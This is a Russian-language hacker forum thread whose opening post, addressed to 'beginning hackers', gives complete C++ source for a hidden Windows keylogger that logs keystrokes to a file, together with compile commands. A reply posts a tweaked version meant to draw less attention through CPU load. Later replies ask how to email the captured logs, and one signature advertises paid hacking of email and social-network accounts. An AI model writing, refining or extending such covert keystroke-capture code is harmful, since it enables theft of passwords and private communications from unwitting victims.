Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
  , 22:14   #1
Banned
 
Регистрация: 25.07.2009
Сообщений: 409

Репутация: 0 / 0
По умолчанию Keylogger на С++

Начинающим хакерам

Будем писать программу в функции которой будет входить чтение вводимых клавиш клавиатуры и запись их в текстовый файл.

Для работы нам понадобится текстовый файл и компилятор C++

Компилятор на ваш вкус,можете использовать VC++ или С++ Builder.
Хотя их на много больше.

Для компиляции в VC++
code:
cl -GL C:\\путь\файл.cpp
Для компиляции в С++ Builder
code:
bcc32.exe C:\\путь\файл.cpp

Создадим текстовый файл(keylogger.txt)


В нём пишем:
code:
#include <iostream>      
#include <windows.h>
#include <winuser.h>

using namespace std;

int S (int key, char *files);
void Hide();

int S (int key, char *files)
{
    if ( (key == 1) || (key == 2) )
        return 0;

    FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
fclose (Save);
    return 0;
}

void Hide()
{
  HWND Hide;
  AllocConsole();
  Hide = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Hide,0);
}

int main()
{
        Hide();
    char q;

    while (1)
    {
        for(q = 8; q <= 190; q++)
        {
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
        }
    }
    system ("PAUSE");
return 0;
}
Дальше сохраняем это всё и меняем разрешение файла на cpp(keylogger.cpp)

Компилировать будем на С++ Builder.
Открываем "Командную строку"(Для тех кто не знает win+R пишем cmd и нажимаем Enter)
Пишем bcc32.exe C:\\путь\keylogger.cpp

У вас получится три файла keylogger.obj keylogger.tds и наш исполняемый файл keylogger.exe(два других можете удалить)

Не большие объяснения что же мы написали:
Использовали во первых GetAsyncKeyState
определяет, является ли клавиша отпущенной или нажатой во время вызова функции и была ли клавиша нажата после предыдущего вызова GetAsyncKeyState.
Для работы GetAsyncKeyState подключили #include <windows.h>

Здесь мы:
Спойлер
int S (int key, char *files)
{
if ( (key == 1) || (key == 2) )
return 0;

FILE *Save;
Save = fopen(files, "a+");
cout << key << endl;
fprintf(Save, "%s", &key);
fclose (Save);
return 0;
}
открываем консоль и вводим значение cout << key << endl;,после чего записываем в файл.

Что бы консоль не было видно использовали:
Спойлер
void Hide()
{
HWND Hide;
AllocConsole();
Hide = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Hide,0);
}

Основное действие происходит уже не посредственно в:
Спойлер
int main()
{
Hide();
char q;

while (1)
{
for(q = 8; q <= 190; q++)
{
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\\log.txt");
}
}
system ("PAUSE");
return 0;
}
где C:\\log.txt куда сохраняется лог.

Естественно не все клавиши выводятся,для этого нужно дописывать к примеру:
code:
if (key == VK_TAB)              
        fprintf(Save, "%s", "[TAB]");
В общем старался как мог написать статью,если есть вопросы буду рад ответить.
Цель статьи не написание полноценного кейлоггера,а с целью что бы начали проникаться в мир программирования.


Удачи.
__________________
Днём - лихорадка, ночью - пир.
Пользователь вне форума    
Наши Спонсоры
  , 13:07   #2
Форумчанин
 
Регистрация: 14.11.2009
Сообщений: 43

Репутация: 2 / 0
По умолчанию Re: Keylogger на С++

из-за бесконечного цыкла сильно палевно грузит комп...
 
Пользователь вне форума    
  , 13:21   #3
Местный
 
Аватар для limit
 
Регистрация: 18.06.2010
Сообщений: 250

Репутация: 56 / 1
По умолчанию Re: Keylogger на С++

Итого будет ~300 строк кода(
+ кириллицу не знает.
но все равно спасибо за статью.
сергей1980, вы давно изучаете С++?
 
Пользователь вне форума    
  , 14:29   #4
Форумчанин
 
Регистрация: 14.11.2009
Сообщений: 43

Репутация: 2 / 0
По умолчанию Re: Keylogger на С++

Если сделать так:
code:
#include <iostream>      
#include <windows.h>
#include <winuser.h>

using namespace std;


int S (int key, char *files)
{
    if ( (key == 1) || (key == 2) )
        return 0;

    FILE *Save;
    Save = fopen(files, "a+");
    cout << key << endl;
    fprintf(Save, "%s", &key);
fclose (Save);
    return 0;
}

void Hide()
{
  HWND Hide;
  AllocConsole();
  Hide = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Hide,0);
}

int main()
{
        Hide();
    char q;
	int a=0;

    while (1)
    {
        for(q = 8; q <= 190; q++)
        {
if (GetAsyncKeyState(q) == -32767)
S (q,"log.txt");
else {
	a++;
if(a==15)
{
Sleep(1);
a=0;
}
}
        }
    }
    system ("PAUSE");
return 0;
}
Не будет грузить комп.=)
 
Пользователь вне форума    
  , 16:27   #5
Новичок
 
Регистрация: 28.11.2010
Сообщений: 4

Репутация: 0 / 0
По умолчанию

Надо еще добавить функцию отправления лога на mail
 
Пользователь вне форума    
  , 15:34   #6
Banned
 
Локация: В интернете
Регистрация: 12.09.2010
Сообщений: 118

Репутация: 4 / 0
По умолчанию

mishaad74 , её тут добавлять нефиг нафиг ))
Классы надо найти только и всё ... мудазвон ..
__________________
Учитель поставил два - поставил два фингала.
Стук в дверь - скрыл окно с порнухой.
Я хочу опять по крышам бегать и труба шатать !
Пользователь вне форума    
  , 19:22   #7
1nt
Постоянный
 
Аватар для 1nt
 
Регистрация: 19.11.2010
Сообщений: 733

Репутация: 141 / 2
По умолчанию

класс не нужен здесь. Обычно классы описывают для использования в более широких целях, например, полностью работы с протоколом pop3/smtp. Здесь класс - это лишняя трата времени, да и просто из общей концепции процедурного кода класс с одним методом будет выделяться и выглядеть смешно.
__________________
[B][COLOR="Red"][URL="https://hpc.name/showthread.php?t=26401#post284052"]Кейлогер актуален[/URL][/COLOR][/B]
Пользователь вне форума    
  , 12:15   #8
Новичок
 
Регистрация: 16.03.2010
Сообщений: 22

Репутация: 2 / 0
По умолчанию

a можнa видео?
please
 
Пользователь вне форума    
  , 16:13   #9
Banned
 
Регистрация: 04.09.2011
Сообщений: 392

Репутация: 3 / 0
По умолчанию

Замечательный пример. Спасибо автору за нормальный стиль кода, понял сразу и без пояснений
 
Пользователь вне форума    
  , 12:42   #10
НЕ ПРОВЕРЕН
 
Регистрация: 16.10.2011
Сообщений: 6

Репутация: 0 / 0
По умолчанию

Скиньте пожалуйста Кто-нибудь код чтобы Клавишу "Enter" запоминало и всё таки можно как-нибудь устроить что на мыло передавал лог?
 
Пользователь вне форума    
  , 16:02   #11
Местный
 
Аватар для rossamaha
 
Локация: Ukrainian \ Lutsk
Регистрация: 23.07.2010
Сообщений: 138

Репутация: -24 / 0
По умолчанию

Автор сделай пожалуйста по этому мануал, видео типа
__________________
Не уверены в своей любимой(м)? Вы кому-то не доверяете?
Тогда эта статья для вас, здесь Вы сможете узнать о ценах и времени взлома, Почты, Страницы, Аккаунта на Сервере...
http://vk.com/leonrichard
Пользователь вне форума    
  , 17:11   #12
Постоянный
 
Аватар для PsiBoX
 
Регистрация: 19.07.2010
Сообщений: 617

Репутация: 102 / 2
По умолчанию

Цитата:
Автор сделай пожалуйста по этому мануал, видео типа
Ты смотрел на дату, когда автор оставил это сообщение?
Плюс к тому, автор забанен.

Видео? Почему вы все думаете, что на видео будет понятнее, чем так?
Что он там изобразит - как вписывает этот же самый код в исходник и компилирует его?

Понимаю, когда на видео изображают сложный процесс, где не все интуитивно понятно. А снимать видео по каждой программе как минимум глупо.
__________________
[SIGPIC][/SIGPIC]
__________________________________________________
[FONT="Comic Sans MS"][COLOR="DarkRed"][B]~icq: [B]5[/B][B]9[/B][B]7[/B][B]4[/B][B]5[/B][B]0[/B][B]1[/B][B]9[/B][B]7[/B] skype: psibooox (проверяется редко)~[/B][/COLOR]
[B]Sanguine, My Brother![/B]
Уехал. В сети редко.[/FONT]
Пользователь вне форума    
  , 17:20   #13
1nt
Постоянный
 
Аватар для 1nt
 
Регистрация: 19.11.2010
Сообщений: 733

Репутация: 141 / 2
По умолчанию

Цитата:
Сообщение от PsiBoX Посмотреть сообщение
Видео? Почему вы все думаете, что на видео будет понятнее, чем так?
Видео просят не программисты, а кидисы, которые исходник увидели, строки изменили, а вот компилить не умеют.
__________________
[B][COLOR="Red"][URL="https://hpc.name/showthread.php?t=26401#post284052"]Кейлогер актуален[/URL][/COLOR][/B]
Пользователь вне форума    
  , 20:31   #14
Местный
 
Аватар для MOV_EAX
 
Регистрация: 10.02.2010
Сообщений: 182

Репутация: 5 / 0
По умолчанию

tgde: это разве KEYLOGGER его еще дописывать нужно далеко он еще не готов автор скинул наводящий пример только и все я думаю что без знания c++ ты его долго будешь еще разберать
вот видео точно похожие сорцы подобного KEYLOGGER
http://www.youtube.com/watch?v=VZ0MYQRwHEc [►]
__________________
аська на скрине
Пользователь вне форума    
 

 

Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.